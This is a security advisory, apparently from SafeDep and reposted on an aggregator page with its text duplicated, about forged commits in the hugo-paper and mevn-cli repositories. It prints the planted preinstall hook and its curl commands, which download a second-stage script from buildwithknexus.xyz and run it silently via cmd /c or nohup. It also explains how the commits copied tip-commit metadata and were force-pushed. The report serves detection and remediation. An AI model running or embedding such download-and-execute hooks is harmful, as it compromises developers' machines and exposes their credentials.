Forged commits plant preinstall dropper in hugo-paper and mevn-cli GitHub repos, fetching payload from buildwithknexus.xyz
An attacker pushed forged commits to the default branches of two unrelated GitHub projects, hugo-paper and mevn-cli. The commits add a preinstall hook (scripts/preinstall.js) that downloads and silently runs a second-stage script from buildwithknexus[.]xyz during npm install or bun install. The commits copy the author, date and message of the previous tip commit, so the history looks untouched. No npm package carries the payload, so registry scanners miss it. SafeDep has not retrieved the second stage and advises treating any machine that ran the hook as compromised. The pattern suggests stolen maintainer push credentials, but this is inferred and unconfirmed.
Detalhes técnicos
- The hook is inserted as the first entry under
scriptsinpackage.json:"preinstall": "node scripts/preinstall.js". - On Windows the loader runs
curl.exe -ks https://buildwithknexus.xyz/check_w -o %TEMP%\check.cmdand then executes it viacmd /c. On macOS and Linux it runscurl -ks https://buildwithknexus.xyz/check_m -o /tmp/checkand executes it withnohupin the background. AllexecSynccalls usestdio: ignore, and-kdisables TLS verification. - The server controls the second stage (
check_m,check_w) and can change it at any time. - mevn-cli attack (2026-08-20 11:23 UTC): new commits were appended on
developandmaster, each copying the metadata of the previous commit. Loader v1 (hidden PowerShell on Windows) was replaced by v2 (curl.exe+cmd /c), likely because v1 had an escaping bug. The maintainer never signed commits, and themastercommits carry a 2020 date. - hugo-paper attack (2026-08-21 02:22 UTC): commit
a68d2c9bwas force-pushed overmain, replacing the signed merge commitde1169ecof PR #267. Tells: the "Verified" badge is gone and the commit has one parent instead of two. The PR API still reportsmerge_commit_shaasde1169ec, which no longer exists on any branch. The PR author is not involved. - No npm release is affected: hugo-paper is not published to npm, and the last mevn-cli release (1.8.3, 2022) is clean. Forks and copies made after the attack inherit the payload.
- The git technique matches GlassWorm and ForceMemo (credential theft, tip-commit rewrite, force push). The tooling differs (plaintext curl and a fixed domain, no invisible-Unicode loader or Solana C2) and no indicators are shared, so SafeDep treats it as a separate cluster.
Remediação
- You are affected if you cloned or pulled hugo-paper
mainafter 2026-08-21, or mevn-clidevelopormasterafter 2026-08-20 (or a fork), and rannpm,bun,yarnorpnpm installwithout--ignore-scripts. Using the theme only as a Hugo module or git submodule does not trigger the hook. - Treat affected machines and CI runners as compromised. Hunt for
/tmp/check,%TEMP%\check.cmd, and any process or log entry mentioningbuildwithknexus.xyz. - Rotate all reachable secrets: GitHub tokens, SSH keys, npm tokens, cloud credentials,
.envfiles and browser-stored credentials. - Block
buildwithknexus.xyzat DNS or proxy level and search egress logs for earlier connections.
Linha do tempo
-
Forged commits plant preinstall dropper in hugo-paper and mevn-cli GitHub repos, fetching payload from buildwithknexus.xyz
ler a análise desta fonte ocultar
An attacker pushed forged commits to the default branches of two unrelated GitHub projects, hugo-paper and mevn-cli. The commits add a
preinstallhook (scripts/preinstall.js) that downloads and silently runs a second-stage script from buildwithknexus[.]xyz duringnpm installorbun install. The commits copy the author, date and message of the previous tip commit, so the history looks untouched. No npm package carries the payload, so registry scanners miss it. SafeDep has not retrieved the second stage and advises treating any machine that ran the hook as compromised. The pattern suggests stolen maintainer push credentials, but this is inferred and unconfirmed.Technical Details
- The hook is inserted as the first entry under
scriptsinpackage.json:"preinstall": "node scripts/preinstall.js". - On Windows the loader runs
curl.exe -ks https://buildwithknexus.xyz/check_w -o %TEMP%\check.cmdand then executes it viacmd /c. On macOS and Linux it runscurl -ks https://buildwithknexus.xyz/check_m -o /tmp/checkand executes it withnohupin the background. AllexecSynccalls usestdio: ignore, and-kdisables TLS verification. - The server controls the second stage (
check_m,check_w) and can change it at any time. - mevn-cli attack (2026-08-20 11:23 UTC): new commits were appended on
developandmaster, each copying the metadata of the previous commit. Loader v1 (hidden PowerShell on Windows) was replaced by v2 (curl.exe+cmd /c), likely because v1 had an escaping bug. The maintainer never signed commits, and themastercommits carry a 2020 date. - hugo-paper attack (2026-08-21 02:22 UTC): commit
a68d2c9bwas force-pushed overmain, replacing the signed merge commitde1169ecof PR #267. Tells: the "Verified" badge is gone and the commit has one parent instead of two. The PR API still reportsmerge_commit_shaasde1169ec, which no longer exists on any branch. The PR author is not involved. - No npm release is affected: hugo-paper is not published to npm, and the last mevn-cli release (1.8.3, 2022) is clean. Forks and copies made after the attack inherit the payload.
- The git technique matches GlassWorm and ForceMemo (credential theft, tip-commit rewrite, force push). The tooling differs (plaintext curl and a fixed domain, no invisible-Unicode loader or Solana C2) and no indicators are shared, so SafeDep treats it as a separate cluster.
Remediation
- You are affected if you cloned or pulled hugo-paper
mainafter 2026-08-21, or mevn-clidevelopormasterafter 2026-08-20 (or a fork), and rannpm,bun,yarnorpnpm installwithout--ignore-scripts. Using the theme only as a Hugo module or git submodule does not trigger the hook. - Treat affected machines and CI runners as compromised. Hunt for
/tmp/check,%TEMP%\check.cmd, and any process or log entry mentioningbuildwithknexus.xyz. - Rotate all reachable secrets: GitHub tokens, SSH keys, npm tokens, cloud credentials,
.envfiles and browser-stored credentials. - Block
buildwithknexus.xyzat DNS or proxy level and search egress logs for earlier connections.
- The hook is inserted as the first entry under